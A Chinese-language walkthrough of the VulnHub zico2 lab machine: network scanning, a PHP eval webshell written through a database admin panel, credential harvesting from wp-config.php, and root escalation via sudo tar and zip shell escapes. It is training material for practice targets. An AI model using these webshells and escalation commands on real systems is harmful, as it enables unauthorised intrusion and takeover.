当前位置: 代码迷 >> 综合 >> vulnhub zico2 靶场练习
  详细解决方案

vulnhub zico2 靶场练习

热度:42   发布时间:2023-12-20 23:57:19.0

前言

这次练习的靶机是vulnhub平台的zico2。下载地址为:https://www.vulnhub.com/entry/zico2-1,210/。

虚拟机配置

这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击zico2靶机,然后选中配置。依次点击网络配置->NAT模式->高级->生成,然后确认即可。

在这里插入图片描述

收集信息

通过arp协议扫描局域网,又快又准,但是只能扫描局域网内的ip。

arp-scan -l

在这里插入图片描述

发现靶机的IP地址为 `192.168.119.218,然后用nmap对靶机进行详细地扫描。

nmap -A -sV -p- --min-parallelism 100 192.168.119.218

-A 代表综合性扫描,能收集很多重要的信息

-sV 代表扫描主要的服务信息

-p- 参数p是指定端口,后面的-代表所有端口。

在这里插入图片描述

靶机开放了80端口,111端口和53953端口,查一下发现111可能存在漏洞,但是这个漏洞只能使目标主机崩溃,所以没有过多研究。然后继续扫描目录。

dirsearch -u 192.168.119.218

在这里插入图片描述

获取SHELL

目录扫描发现dbadmin目录,看名字应该是与数据库的管理有关,打开这个目录观察一下。

在这里插入图片描述

在这里插入图片描述

发现了一个登陆页面,随便输入一个密码,一不小心就进了管理页面。

在这里插入图片描述

经过一番捣鼓,最终发现这个后台可以写入webshell。首先随便创建一个数据库。

在这里插入图片描述

然后在该库里创建一个表。

在这里插入图片描述

随便设置一个字段名称,类型为TEXT

在这里插入图片描述

在该表中写入一句话木马。

<?php @eval($_POST["a"]);?>

在这里插入图片描述

在这里插入图片描述

此时还无法访问到该一句话木马,因为数据库文件的默认存放位置是 /usr/databases/,在该目录中的文件是无法直接访问到的,所以我们需要通过改名来移动文件到可以访问的位置。

在这里插入图片描述

将原来的/usr/databases/a改为 a.php。此处不要使用绝对路径,需要使用相对路径。此处使用相对路径,数据库文件就会移动到当前管理页面的同级目录中,也就是 /dbadmin/中。

在这里插入图片描述

访问 http://192.168.119.218/dbadmin/,发现a.php已经存在这个目录中了。

在这里插入图片描述

然后通过蚁剑就可以连接到该一句话木马。

在这里插入图片描述

在这里插入图片描述

提权

获取shell尝试一下suid提权,没有成功。然后去查找靶机中有没有存在敏感信息。最终在家目录中wordpress中的配置文件wp-config.php中找到了zico账号和密码 sWfCsfJSPV9H3AmQzw8

在这里插入图片描述

尝试用ssh登陆,成功连接上了。

ssh zico@192.168.119.218

在这里插入图片描述

尝试各种提权方法,最终发现可以通过sudo提权。可以通过具有root权限的tar和zip来提权。

sudo -l

在这里插入图片描述

通过tar提权:

echo "/bin/bash" > shell.sh
sudo tar cf archive.tar * --checkpoint=1 --checkpoint-action=exec=sh shell.sh

–checkpoint=n 每写入n个记录之后设置一个检查点(默认值为10)。

–checkpoint-action=cmd 在每个checkpoint(检查点)上执行cmd。

更多详情可参考:https://blog.csdn.net/qq_33958714/article/details/111084322

在这里插入图片描述

通过zip提权:

touch a
sudo zip a.zip a -T --unzip-command="sh -c /bin/bash"

-T --unzip-command=cmd 代表在压缩文件后对压缩文件进行检测,检测文件时不是用系统标准的 unzip -tqq来检测,而是使用通过–unzip-command指定的cmd命令来检查文件。可能我翻译不是太准确,这里贴出一张官方文档的图片供大家参考。
在这里插入图片描述

在这里插入图片描述

读取flag!

cat /etc/flag.txt

在这里插入图片描述

参考文献

[1] https://www.icode9.com/content-4-1121428.html,tar命令提权

[2] https://blog.csdn.net/qq_33958714/article/details/111084322,使用tar --checkpoint提权操作 详解–checkpoint-action的参数及作用

[3] https://blog.csdn.net/qq_36412526/article/details/113500176,linux unzip 命令详解

[4] https://blog.csdn.net/weixin_46700042/article/details/109649363,使用Zip命令进行本地提权(类Unix系统)